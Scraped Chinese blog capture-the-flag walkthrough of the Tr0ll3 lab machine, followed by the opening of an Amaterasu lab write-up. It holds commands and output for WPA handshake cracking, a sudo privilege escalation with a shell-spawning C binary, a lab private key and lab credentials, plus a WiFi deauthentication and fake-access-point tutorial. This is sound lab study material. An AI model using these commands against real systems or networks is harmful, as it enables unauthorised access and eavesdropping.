21╔══════════╣ Useful software 22/usr/bin/base64 23/usr/bin/gcc 24/usr/bin/gdb 25/bin/nc 26/bin/netcat 27/usr/bin/perl 28/bin/ping 29/usr/bin/python 30/usr/bin/python2 31/usr/bin/python2.7 32/usr/bin/python3 33/usr/bin/python3.6 34/usr/bin/sudo 35/usr/bin/wget 翻一下主目录，发现两个不同于一般主目录的文件，lol和hints\nlol目录提示需要权限。然后翻找/.hints目录发现，下面有很多套娃的文件夹，直到翻到最后一个发现一个txt文件，打开似乎是密码或者加密的密钥。\n1ls /.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/ 2cat /.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt 文件路径的英文翻译过来是一句嘲讽，不得不说Tr0ll系列的作者Maleus真的很欠扁，而且也不只我一个人这么觉得。\n回到靶机，查看这个文件的权限发现是0777的，所以我们再广泛的搜索一下还有这样类似的文件。\n1find / -type f -perm 0777 2\u0026gt;/dev/null 2--- 3start@Tr0ll3:/tmp$ find / -type f -perm 0777 2\u0026gt;/dev/null 4/var/log/.dist-manage/wytshadow.cap 5/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt 流量包密码破解 cap明显是一个流量包文件，下载这两个文件到kali中再分析。\n1scp start@172.168.169.142:/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt gold_star.txt 2scp start@172.168.169.142:/var/log/.dist-manage/wytshadow.cap wytshadow.cap 查看流量包文件，发现开头就是一个叫wytshadow的用户登录的会话，用的是TpLink，这个很明显是WIFI无线网，使用无线网工具尝试爆破。\n用默认的自带的字典爆破不成功，这是想到刚刚从那个欠扁的目录下载的gold_star.txt 是不是就是密码字典。\n1tshark -r wytshadow.cap 2sudo apt install aircrack-ng 3aircrack-ng -w /usr/share/wordlists/fasttrack.txt wytshadow.cap 4aircrack-ng -w gold_star.txt wytshadow.cap 大概要爆破半小时。\n开启Nginx服务 破解得到用户密码wytshadow:gaUoCe34t1\n1start@Tr0ll3:~$ su wytshadow 2Password: 3wytshadow@Tr0ll3:/home/start$ cd 4wytshadow@Tr0ll3:~$ ls 5oohfun 6wytshadow@Tr0ll3:~$ ls -al 7total 40 8drwx------ 4 wytshadow wytshadow 4096 Aug 2 2019 . 9drwxr-xr-x 10 root root 4096 Jun 19 2015 .. 10-rw-r--r-- 1 wytshadow wytshadow 220 Jun 17 2015 .bash_logout 11-rw-r--r-- 1 wytshadow wytshadow 3637 Jun 17 2015 .bashrc 12drwx------ 2 wytshadow wytshadow 4096 Jun 17 2015 .cache 13drwx------ 3 wytshadow wytshadow 4096 Aug 1 2019 .gnupg 14-rwsrwxrwx 1 genphlux root 8566 Jun 17 2015 oohfun 15-rw-r--r-- 1 wytshadow wytshadow 675 Jun 17 2015 .profile 执行oohfun发现提示一堆信息，暂时关闭。看一下sudo -l发现可以执行nginx服务，之前扫描这个靶机发现只有22端口，所以开80端口的任务原来是wytshadow用户完成。\n1sudo /usr/sbin/service nginx start 2netstat -tunlpa 3--- 4wytshadow@Tr0ll3:/tmp$ netstat -tunlpa 5(No info could be read for \u0026#34;-p\u0026#34;: geteuid()=1003 but you should be root.) 6Active Internet connections (servers and established) 7Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name 8tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN - 9tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - 10tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - 11tcp 0 36 172.168.169.142:22 172.168.169.141:56950 ESTABLISHED - 12tcp6 0 0 138080 14* LISTEN - 15tcp6 0 0 1622 17* LISTEN - 18udp 0 0 127.0.0.53:53 0.0.0.0:* - 19udp 0 0 0.0.0.0:68 0.0.0.0:* - 查看nginx相关配置，最终找到配置文件 ，发现服务开启再8080端口上，限制user agent为\u0026quot;Lynx\u0026quot;。\n1# 查看nginx相关配置 2wytshadow@Tr0ll3:/tmp$ find / -name nginx \u0026gt; find.txt 3wytshadow@Tr0ll3:/tmp$ cat find.txt 4/var/lib/nginx 5/var/log/nginx 6/var/nginx 7/etc/init.d/nginx 8/etc/logrotate.d/nginx 9/etc/default/nginx 10/etc/nginx 11/etc/ufw/applications.d/nginx 12/usr/sbin/nginx 13/usr/lib/nginx 14/usr/share/nginx 15/usr/share/doc/nginx 16wytshadow@Tr0ll3:/tmp$ cat /etc/nginx/sites-available/default 17## 18# You should look at the following URL\u0026#39;s in order to grasp a solid understanding 19# of Nginx configuration files in order to fully unleash the power of Nginx. 20# https://www.nginx.com/resources/wiki/start/ 21# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/ 22# https://wiki.debian.org/Nginx/DirectoryStructure 23# 24# In most cases, administrators will remove this file from sites-enabled/ and 25# leave it as reference inside of sites-available where it will continue to be 26# updated by the nginx packaging team. 27# 28# This file will automatically load configuration files provided by other 29# applications, such as Drupal or Wordpress. These applications will be made 30# available underneath a path with that package name, such as /drupal8. 31# 32# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples. 33## 34 35# Default server configuration 36# 37server { 38 listen 8080 default_server; 39 listen [::]:8080 default_server; 40 if ($http_user_agent !~ \u0026#34;Lynx*\u0026#34;){ 41 return 403; 42} 43 # SSL configuration 44 # 45 # listen 443 ssl default_server; 46 # listen [::]:443 ssl default_server; 47 # 48 # Note: You should disable gzip for SSL traffic. 49 # See: https://bugs.debian.org/773332 50 # 51 # Read up on ssl_ciphers to ensure a secure configuration. 52 # See: https://bugs.debian.org/765782 53 # 54 # Self signed certs generated by the ssl-cert package 55 # Don\u0026#39;t use them in a production server! 56 # 57 # include snippets/snakeoil.conf; 58 59 root /var/nginx/www; 60 61 # Add index.php to the list if you are using PHP 62 index index.html index.htm index.nginx-debian.html; 63 64 server_name _; 65 66 location / { 67 # First attempt to serve request as file, then 68 # as directory, then fall back to displaying a 404. 69 try_files $uri $uri/ =404; 70 } Kali再次扫描确认8080端口确实打开了。\n带Agent参数访问得到一个新的用户名和密码genphlux:HF9nd0cR!。\n1curl -A \u0026#34;Lynx\u0026#34; http://172.168.169.142:8080 SSH密钥获取 登录genphlux用户发现可以开启apache服务，但是开了好像也访问不了。\n回到原来的位置sudo -l一下\n1wytshadow@Tr0ll3:/tmp$ su genphlux 2Password: 3genphlux@Tr0ll3:/tmp$ id 4uid=1004(genphlux) gid=1004(genphlux) groups=1004(genphlux) 5genphlux@Tr0ll3:/tmp$ sudo -l 6[sudo] password for genphlux: 7Matching Defaults entries for genphlux on Tr0ll3: 8 env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin 9 10User genphlux may run the following commands on Tr0ll3: 11 (root) /usr/sbin/service apache2 start 12genphlux@Tr0ll3:/tmp$sudo /usr/sbin/service apache2 start 在用户目录下发现存在maleus用户的密钥。将密钥文字复制到Kali上即可用密钥登录新用户。\n1genphlux@Tr0ll3:~$ ll 2total 44 3drwx------ 4 genphlux genphlux 4096 Aug 2 2019 ./ 4drwxr-xr-x 10 root root 4096 Jun 19 2015 ../ 5-rw-r--r-- 1 genphlux genphlux 220 Jun 17 2015 .bash_logout 6-rw-r--r-- 1 genphlux genphlux 3637 Jun 17 2015 .bashrc 7drwx------ 2 genphlux genphlux 4096 Jun 17 2015 .cache/ 8drwx------ 3 genphlux genphlux 4096 Aug 1 2019 .gnupg/ 9-rw-rw-r-- 1 genphlux genphlux 1675 Jun 18 2015 maleus 10-rw-r--r-- 1 genphlux genphlux 675 Jun 17 2015 .profile 11-rw------- 1 genphlux genphlux 5649 Jun 17 2015 .viminfo 12-rw-rw-r-- 1 genphlux genphlux 931 Aug 2 2019 xlogin 13genphlux@Tr0ll3:~$ cat maleus 14-----BEGIN RSA PRIVATE KEY----- 15MIIEowIBAAKCAQEAwz5Hwer48U1t/Qi9JveuO+Z7WQlnmhOOs/2pZ0he/OyVsEFv 16DsGib1wu/N8t+7h9JZK9x2GL33TXQBVCy6TxES90F1An+2DSza6lJPCyhcgK/DEp 17yxSVt32A+lFo+PQJV6QYZlpRkek0MjUw5y/E5qZwdBypC55C4QzgQBN3+Lnuhuk4 18u52xcK9/6/2N7JZCNYA21Tp1Uy9mty/65IT7OwKJd2rXp3O6rZYTD/vPl+Rt/LtN 19gA1DbDODq0NCmvcrZL+SafSj+MABA3LCERw01gA4RMdyxJU6hVfjeSKOdwDQOGWe 20eAVCL2GR/frwyf+rfN1kbpdw/RGXWWwVANMcaQIDAQABAoIBAGNudFztrZo2NK2I 21pcwSl0kqN+dAQuLU0vgXVw6ibL2iPxlkOYrqUi8kY0mk32YyrolUEhJYO0Ox3W1l 22Zn8PoTV/VUAKMlJzHOhi6PfHHSPEnNOSthYWhajM4cKZczxWC+v2RfbaSHBms45e 23SGl0inJskRiRAAZKswSp6gq334FrS6Dwy1tiKvzCfR3kLQghV5U/PhFZCsq3xvAw 24eXPx2toNtU2gYSGrKWTep+nAKM1neBxeZAujYuN4xJ5/Th2y0pyTvX9WEgzKPJ/G 25PlYZYCUAKPCbabYSuZckjeiN1aS52AIFedECBfAIezOr08Wx/bI/xCOgBxrQgPrK 26kRvlOYECgYEA5eCIEfdLhWdg3ltadYE0O5VAoXKrbxYWqSyw1Eyeqj0N1qD9Rsvg 27jIQJazV5JcVBIF54f/jlCJozR5s5AELrY0Z/krea1lF5ecOSUQE3tp94298xzO3g 287BBe3g6pD56Cya/Vo0+YVQmAnBHLh6QIYvUUXXN2IyceT8fhEx5JA+sCgYEA2W4z 29KKMVAdPxKcjVks1zdGmVlj1RsUkakYuLWV3jQe2w1naJrc37Khy5eWZaRJhXqeBb 301cvTMa+r/BF7jvItxglWoBJqXDxKI0a6KqWtloZL2ynoaBkAhR2btob6nSN63Bpg 31ZYJKY1B5yYbDHK4k6QT7atn2g6DAv/7sW6skj/sCgYA16WTAIek6TjZvr6kVacng 32N27C7mu6T8ncvzhxcc68SjlWnscHtYTiL40t8YqKCyrs9nr4OF0umUtxfbvujcM6 33syv0Ms9DeDQvFGjaSpjQYbIsjrnVP+zCMEyvc2y+1wQBXRWTiXVGbEYXVC0RkKzO 342H+AMzX/pIr9Vvk4TJ//JQKBgFNJcy9NyO46UVbAJ49kQ6WEDFjQhEp0xkiaO3aw 35EC1g7yw3m+WH0X4AIsvt+QXtlSbtWkA7I1sU/7w+tiW7fu0tBpGqfDN4pK1+mjFb 365XKTXttE4lF9wkU7Yjo42ib3QEivkd1QW05PtVcM2BBUZK8dyXDUrSkemrbw33j9 37xbOhAoGBAL8uHuAs68ki/BWcmWUUer7Y+77YI/FFm3EvP270K5yn0WUjDJXwHpuz 38Fg3n294GdjBtQmvyf2Wxin4rxl+1aWuj7/kS1/Fa35n8qCN+lkBzfNVA7f626KRA 39wS3CudSkma8StmvgGKIU5YcO8f13/3QB6PPBgNoKnF5BlFFQJqhK 40-----END RSA PRIVATE KEY----- 41# 上面密钥复制到Kali中 42┌──(kali㉿kali)-[~/Desktop/Tr0ll3] 43└─$ ssh maleus@172.168.169.142 -i maleus VIM信息发现 有个可执行文件，查看发现密码，但是执行这个文件，sudo输入这个密码都提示不对。发现用户文件夹下还有一个viminfo文件。发现密码 B^slc8I$就是maleus用户的密码。\nsudo -l发现当前用户可以以root身份执行刚刚那个脚本，而且脚本也是对当前用户有写权限，所以把脚本写到这个文件里执行即可获得权限。\nC脚本提权 1int main() 2{ 3 system(\u0026#34;/bin/bash\u0026#34;); 4} 因为dont_even_bother是个编译后的脚本，而从最开始的信息收集中发现，gcc命令是可以执行的，所以写一个最简单的C脚本即可提权。\n1gcc test.c -o dont_even_bother 2sudo ./dont_even_bother Pr00fThatTh3L33tHax0rG0tTheFl@g!!\n其他信息 在www文件夹下发现用户名和密码 fido:x4tPl!，但是su切换不过去，或许有别的方法可以进，下次试试。\nApache服务80端口开了，但是不知道如何访问，无论是Kali还是靶机内部的root用户访问都提示403\n补充知识点 Aircrack-ng：无线网络安全审计终极工具 Aircrack-ng 是一款开源的 WiFi 网络安全工具套件，主要用于：\n📶 无线网络渗透测试 🔓 WEP/WPA/WPA2-PSK 密钥破解 🔍 无线网络流量分析 📡 无线接入点审计 核心功能组件 工具 功能描述 典型用途 airmon-ng 启用无线网卡监控模式 准备网卡进行抓包 airodump-ng 捕获并分析 WiFi 流量（握手包、信标帧等） 扫描网络并保存抓包文件 aireplay-ng 生成自定义无线流量（欺骗、重放攻击） 强制设备重连获取WPA握手包 aircrack-ng 使用字典攻击/暴力破解破解 WEP/WPA/WPA2 密钥 实际密码破解 airdecap-ng 用破解的密钥解密捕获的流量 分析网络中的明文通信 主要应用场景 1. WEP加密破解 1# 捕获足够IVs数据包后直接破解 2aircrack-ng -b 00:11:22:33:44:55 capture.cap 2. WPA/WPA2握手包捕获与破解 1# 捕获握手包 2airodump-ng -c 6 --bssid AP_MAC -w capture wlan0mon 3 4# 使用字典破解 5aircrack-ng -w password.lst -b AP_MAC capture.cap 3. 创建虚拟接入点 1# 模拟合法AP进行中间人攻击 2airbase-ng -e \u0026#34;Free_WiFi\u0026#34; -c 6 wlan0mon 4. 无线网络诊断 1# 检测隐藏SSID网络 2airodump-ng wlan0mon --hidden 经典破解流程（WPA/WPA2） 启用监控模式：airmon-ng start wlan0\n扫描网络：airodump-ng wlan0mon\n捕获握手包：\n1airodump-ng -c [频道] --bssid [AP_MAC] -w capture wlan0mon 强制握手（可选）：\n1aireplay-ng -0 4 -a [AP_MAC] -c [客户端MAC] wlan0mon 破解密码：\n1aircrack-ng -w rockyou.txt capture-01.cap 重要技术参数 参数 作用示例 破解成功率因素 字典质量 -w rockyou.txt 70%+ 常见密码可在前100万条命中 GPU加速 --gpu-temp-disable NVIDIA/AMD显卡可提速100倍 规则攻击 -r rules.txt 通过变形规则扩展字典 会话恢复 -l session.txt 中断后可恢复破解进度 多文件处理 files/*.cap 可批量处理多个抓包文件 替代工具推荐 Hashcat：支持GPU加速的密码破解（兼容aircrack捕获文件） Wifite：自动化无线审计工具（基于aircrack-ng） Fern Wifi Cracker：图形化无线审计工具 Kismet：无线网络探测与IDS系统 .viminfo 文件详解 .viminfo 是 Vim 文本编辑器自动生成的用户状态记录文件，通常位于用户主目录（~/.viminfo）。它在 Vim 启动时读取，关闭时更新，用于保存用户编辑会话之间的状态信息。\n主要作用 功能 具体说明 命令历史 保存 : 命令行模式输入的所有命令 搜索历史 记录 / 和 ? 搜索模式的所有关键字 跳转位置 保存用户在各文件中的光标位置 (' 和 ``` 标记) 寄存器内容 存储复制/删除操作的临时数据 (包括未命名寄存器 \u0026quot;) 缓冲区列表 记录最近编辑过的文件路径 输入行历史 保存命令行模式下输入的长命令片段 敏感信息泄露风险 该文件可能暴露以下敏感信息：\n1. 文件路径与内容 # 示例 .viminfo 片段 |4,1,48,2,1,0,1646305385,\u0026#34;~/Documents/secret_passwords.txt\u0026#34; |4,0,34,1,0,0,1646305427,\u0026#34;:w !sudo tee %\u0026#34; # 暴露sudo操作 泄露路径：个人文档、机密项目、密码文件的完整路径 命令风险：sudo操作、文件解密/加密命令 2. 凭证与密钥片段 |4,7,1,0,1,0,1646305302,\u0026#34;/API_KEY=\\\u0026#34;sk_live_\u0026#34; |4,3,1,0,1,0,1646305351,\u0026#34;/password = \\\u0026#34;Admin@2023\u0026#34; API密钥、密码等敏感文本碎片 数据库连接字符串、SSH私钥片段 3. 操作系统敏感数据 |4,0,32,1,0,0,1646305487,\u0026#34;:!cat /etc/passwd\u0026#34; # 系统文件操作 |4,1,41,2,1,0,1646305521,\u0026#34;~/.ssh/id_rsa\u0026#34; # 密钥文件路径 系统命令操作记录 (! 开头的命令) SSH密钥、配置文件路径 4. 隐私行为痕迹 |4,4,1,0,1,0,1646305555,\u0026#34;/salary.xlsx\u0026#34; # 财务文件 |4,1,38,2,1,0,1646305589,\u0026#34;:e ~/medical_records.txt\u0026#34; # 医疗记录 隐私文档访问痕迹 敏感搜索历史（如个人信息、证件号等） 安全防护措施 1. 禁用 .viminfo（推荐） 在 ~/.vimrc 中添加：\nset viminfo= set viminfo+=n$HOME/.vim/viminfo \u0026#34; 自定义加密路径 2. 按需排除敏感信息 1\u0026#34; 不保存寄存器内容 2set viminfo=\u0026#39;0 3 4\u0026#34; 禁用搜索/命令历史 5set viminfo=/0,:0 6 7\u0026#34; 跳过特定寄存器 (e.g. 复制寄存器\u0026#34;0) 8set viminfo-=r0 3. 文件权限加固 1chmod 600 ~/.viminfo # 仅用户可读写 2sudo chattr +i ~/.viminfo # 禁止修改 (Immutable flag) 4. 自动清理脚本 创建定期清理任务 (cron):\n1# 每日清空 .viminfo 20 3 * * * echo \u0026#34;\u0026#34; \u0026gt; ~/.viminfo 5. 替代安全工具 工具 安全特性 Neovim 支持 shada 加密 (:h 'shada') Vim.gui 可完全禁用历史 (:set viminfo=NONE) Emacs 历史文件独立加密 (~/.emacs.desktop.lock) 取证分析示例 攻击者获取 .viminfo 后可能提取信息：\ngrep -E \u0026#39;\u0026#34;(/|!|:)\u0026#39; ~/.viminfo # 提取命令和搜索 grep \u0026#39;\u0026#34;[a-zA-Z0-9_]{20,}\u0026#39; ~/.viminfo # 查找长字符串 (可能密钥) 📌 关键建议：在共享系统或处理敏感数据时，始终在 vimrc 中配置 set viminfo= ，或使用 vim -i NONE 临时禁用该功能。\n用Python模仿curl的方法 这个靶机中存在无法使用curl的情况，可以使用python来模仿curl的功能。在 Python 3 的交互式环境（如 python shell 或 ipython）中模拟 curl 的功能，可以使用 requests 或 urllib 库。以下是完整指南：\n🐍 使用 requests 库 1# 安装 requests（如果未安装） 2\u0026gt;\u0026gt;\u0026gt; import sys, subprocess 3\u0026gt;\u0026gt;\u0026gt; if \u0026#39;requests\u0026#39; not in sys.modules: 4... subprocess.check_call([sys.executable, \u0026#34;-m\u0026#34;, \u0026#34;pip\u0026#34;, \u0026#34;install\u0026#34;, \u0026#34;requests\u0026#34;]) 5... import requests 6... else: 7... import requests 8 9# 1. 发起 GET 请求（类似 curl http://example.com） 10\u0026gt;\u0026gt;\u0026gt; response = requests.get(\u0026#39;https://httpbin.org/get\u0026#39;) 11\u0026gt;\u0026gt;\u0026gt; response.status_code 12200 13\u0026gt;\u0026gt;\u0026gt; response.text # 获取响应内容 14 15# 2. 发起 POST 请求（类似 curl -X POST -d \u0026#34;key=value\u0026#34;） 16\u0026gt;\u0026gt;\u0026gt; payload = {\u0026#39;username\u0026#39;: \u0026#39;admin\u0026#39;, \u0026#39;password\u0026#39;: \u0026#39;secret\u0026#39;} 17\u0026gt;\u0026gt;\u0026gt; response = requests.post(\u0026#39;https://httpbin.org/post\u0026#39;, data=payload) 18\u0026gt;\u0026gt;\u0026gt; response.json() # 解析 JSON 响应 19 20# 3. 自定义 Headers（类似 curl -H \u0026#34;Content-Type: application/json\u0026#34;） 21\u0026gt;\u0026gt;\u0026gt; headers = {\u0026#39;User-Agent\u0026#39;: \u0026#39;PyCurl/1.0\u0026#39;, \u0026#39;X-Custom\u0026#39;: \u0026#39;value\u0026#39;} 22\u0026gt;\u0026gt;\u0026gt; response = requests.get(\u0026#39;https://httpbin.org/headers\u0026#39;, headers=headers) 23 24# 4. 处理 Cookies（类似 curl --cookie \u0026#34;name=value\u0026#34;） 25\u0026gt;\u0026gt;\u0026gt; response = requests.get(\u0026#39;https://httpbin.org/cookies\u0026#39;, cookies={\u0026#39;session\u0026#39;: \u0026#39;abc123\u0026#39;}) 26 27# 5. 文件上传（类似 curl -F \u0026#34;file=@test.txt\u0026#34;） 28\u0026gt;\u0026gt;\u0026gt; files = {\u0026#39;file\u0026#39;: (\u0026#39;filename.txt\u0026#39;, open(\u0026#39;test.txt\u0026#39;, \u0026#39;rb\u0026#39;))} 29\u0026gt;\u0026gt;\u0026gt; response = requests.post(\u0026#39;https://httpbin.org/post\u0026#39;, files=files) 30 31# 6. 处理重定向（默认自动重定向，禁用类似 curl -L） 32\u0026gt;\u0026gt;\u0026gt; response = requests.get(\u0026#39;https://httpbin.org/redirect/1\u0026#39;, allow_redirects=False) 33 34# 7. 超时设置（类似 curl --max-time 5） 35\u0026gt;\u0026gt;\u0026gt; try: 36... response = requests.get(\u0026#39;https://httpbin.org/delay/10\u0026#39;, timeout=3) 37... except requests.exceptions.Timeout: 38... print(\u0026#34;Request timed out!\u0026#34;) 📊 功能对照表 curl 命令示例 Python requests 等效代码 curl http://example.com requests.get('http://example.com') curl -X POST -d \u0026quot;key=value\u0026quot; requests.post(url, data={'key':'value'}) curl -H \u0026quot;Authorization: Bearer token\u0026quot; requests.get(url, headers={'Authorization':'Bearer token'}) curl --cookie \u0026quot;session=abc\u0026quot; requests.get(url, cookies={'session':'abc'}) curl -L --location-trusted requests.get(url, allow_redirects=True) curl --data-binary @file.txt requests.post(url, data=open('file.txt','rb')) curl -u user:pass requests.get(url, auth=('user','pass')) 🌐 使用标准库 urllib（无需安装） 1\u0026gt;\u0026gt;\u0026gt; from urllib import request, parse 2 3# GET 请求 4\u0026gt;\u0026gt;\u0026gt; with request.urlopen(\u0026#39;https://httpbin.org/get\u0026#39;) as res: 5... print(res.read().decode(\u0026#39;utf-8\u0026#39;)) 6 7# POST 请求 8\u0026gt;\u0026gt;\u0026gt; data = parse.urlencode({\u0026#39;key\u0026#39;: \u0026#39;value\u0026#39;}).encode() 9\u0026gt;\u0026gt;\u0026gt; req = request.Request(\u0026#39;https://httpbin.org/post\u0026#39;, data=data) 10\u0026gt;\u0026gt;\u0026gt; with request.urlopen(req) as res: 11... print(res.read().decode(\u0026#39;utf-8\u0026#39;)) 12 13# 添加 Headers 14\u0026gt;\u0026gt;\u0026gt; req = request.Request(\u0026#39;https://httpbin.org/headers\u0026#39;) 15\u0026gt;\u0026gt;\u0026gt; req.add_header(\u0026#39;User-Agent\u0026#39;, \u0026#39;Python-URLLib/3.0\u0026#39;) 16\u0026gt;\u0026gt;\u0026gt; request.urlopen(req) ⚙️ 高级技巧 1. 保持会话状态（模拟多个连续请求）\n1\u0026gt;\u0026gt;\u0026gt; session = requests.Session() 2\u0026gt;\u0026gt;\u0026gt; session.get(\u0026#39;https://httpbin.org/cookies/set/session/abc123\u0026#39;) # 设置 cookie 3\u0026gt;\u0026gt;\u0026gt; response = session.get(\u0026#39;https://httpbin.org/cookies\u0026#39;) # 携带 cookie 2. 处理 SSL/TLS 证书验证\n1# 忽略证书错误（类似 curl -k） 2\u0026gt;\u0026gt;\u0026gt; requests.get(\u0026#39;https://expired.badssl.com\u0026#39;, verify=False) 3 4# 使用自定义 CA 证书 5\u0026gt;\u0026gt;\u0026gt; requests.get(\u0026#39;https://internal.site\u0026#39;, verify=\u0026#39;/path/to/ca.pem\u0026#39;) 3. 调试请求详情（类似 curl -v）\n1\u0026gt;\u0026gt;\u0026gt; import logging 2\u0026gt;\u0026gt;\u0026gt; logging.basicConfig(level=logging.DEBUG) # 启用调试输出 3\u0026gt;\u0026gt;\u0026gt; requests.get(\u0026#39;https://httpbin.org/get\u0026#39;) 4. 进度条显示（大文件下载）\n1\u0026gt;\u0026gt;\u0026gt; from tqdm import tqdm 2\u0026gt;\u0026gt;\u0026gt; url = \u0026#34;https://example.com/bigfile.zip\u0026#34; 3\u0026gt;\u0026gt;\u0026gt; response = requests.get(url, stream=True) 4\u0026gt;\u0026gt;\u0026gt; with open(\u0026#34;bigfile.zip\u0026#34;, \u0026#34;wb\u0026#34;) as f, tqdm(total=int(response.headers.get(\u0026#39;content-length\u0026#39;,0)), unit=\u0026#39;B\u0026#39;) as pbar: 5... for chunk in response.iter_content(chunk_size=1024): 6... f.write(chunk) 7... pbar.update(len(chunk)) 💡 在 IPython 中的交互技巧 在 IPython 环境中 (pip install ipython)，可以使用 ! 直接运行系统命令：\n1!curl https://httpbin.org/get 或者捕获输出：\n1curl_output = !curl -s https://httpbin.org/get 2print(curl_output) 对于 Python 函数，使用 %time 计时：\n1%time requests.get(\u0026#39;https://google.com\u0026#39;) 注意事项 在生产环境中避免 verify=False，会降低安全性 处理大文件下载时使用 stream=True 避免内存耗尽 对于复杂站点（JS渲染），考虑使用 selenium 替代 HTTP/2 支持需安装 httpx 库（pip install httpx） 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-07-24T23:45:31Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day20-tr0ll3-%E9%9D%B6%E5%9C%BAwp/","title":"Day20 Tr0ll3 靶场WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n官方网页打开靶机，此靶机目前暂未在https://www.vulnhub.com/ 有镜像文件，后续若官方给出，会在评论补充。连上VPN后测速自动设置MTU【踩坑总结】丝滑连接OffSec官方VPN的方法。\n信息收集 1# 靶机地址 2192.168.222.249 3# Kali攻击机地址 4192.168.45.156 5# 题目提示的用户凭证 6alfredo 7DriveMailLens774 扫描端口 1ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.222.249 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 2echo $ports 3sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.222.249 4sudo nmap --script=vuln -p$ports -Pn 192.168.222.249 扫描结果如下：\n1┌──(kali㉿kali)-[~/Desktop/Amaterasu] 2└─$ echo $ports 321,22,111,139,443,445,2049,10000,25022,33414,40080 4 5┌──(kali㉿kali)-[~/Desktop/Amaterasu] 6└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.222.249 7Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 22:16 EDT 8Nmap scan report for bogon (192.168.222.249) 9Host is up (0.21s latency). 10 11PORT STATE SERVICE 1221/tcp open ftp 1322/tcp closed ssh 14111/tcp closed rpcbind 15139/tcp closed netbios-ssn 16443/tcp closed https 17445/tcp closed microsoft-ds 182049/tcp closed nfs 1910000/tcp closed snet-sensor-mgmt 2025022/tcp open unknown 2133414/tcp open unknown 2240080/tcp open unknown 23 24Nmap done: 1 IP address (1 host up) scanned in 32.13 seconds 25 26┌──(kali㉿kali)-[~/Desktop/Amaterasu] 27└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.222.249 28Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 22:13 EDT 29Nmap scan report for bogon (192.168.222.249) 30Host is up (0.11s latency). 31 32PORT STATE SERVICE VERSION 3321/tcp open ftp vsftpd 3.0.3 34| ftp-syst: 35| STAT: 36| FTP server status: 37| Connected to 192.168.45.156 38| Logged in as ftp 39| TYPE: ASCII 40| No session bandwidth limit 41| Session timeout in seconds is 300 42| Control connection is plain text 43| Data connections will be plain text 44| At session startup, client count was 3 45| vsFTPd 3.0.3 - secure, fast, stable 46|_End of status 47| ftp-anon: Anonymous FTP login allowed (FTP code 230) 48|_Can\u0026#39;t get directory listing: TIMEOUT 4922/tcp closed ssh 50111/tcp closed rpcbind 51139/tcp closed netbios-ssn 52443/tcp closed https 53445/tcp closed microsoft-ds 542049/tcp closed nfs 5510000/tcp closed snet-sensor-mgmt 5625022/tcp open ssh OpenSSH 8.6 (protocol 2.0) 57| ssh-hostkey: 58| 256 68:c6:05:e8:dc:f2:9a:2a:78:9b:ee:a1:ae:f6:38:1a (ECDSA) 59|_ 256 e9:89:cc:c2:17:14:f3:bc:62:21:06:4a:5e:71:80:ce (ED25519) 6033414/tcp open http Werkzeug httpd 2.2.3 (Python 3.9.13) 61|_http-server-header: Werkzeug/2.2.3 Python/3.9.13 62|_http-title: 404 Not Found 6340080/tcp open http Apache httpd 2.4.53 ((Fedora)) 64| http-methods: 65|_ Potentially risky methods: TRACE 66|_http-title: My test page 67|_http-server-header: Apache/2.4.53 (Fedora) 68Aggressive OS guesses: Linux 5.0 - 5.14 (98%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%), Linux 5.0 (92%), OpenWrt 22.03 (Linux 5.10) (92%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (90%), Linux 4.15 (90%), Linux 2.6.32 - 3.10 (90%) 69No exact OS matches for host (test conditions non-ideal). 70Service Info: OS: Unix 71 72OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 73Nmap done: 1 IP address (1 host up) scanned in 52.68 seconds FTP登录 Nmap扫描结果提示是可以弱密码登录FTP的，但是登录上去之后操作受限。\n1| FTP - system: 2| STAT: 3| FTP服务器状态： 4|连接192.168.45.156 5|以FTP方式登录 6| TYPE: ASCII 7|无会话带宽限制 8|会话超时时间为300秒 9|控制连接为明文 10|数据连接为明文 11|会话启动时客户端数为3 12| 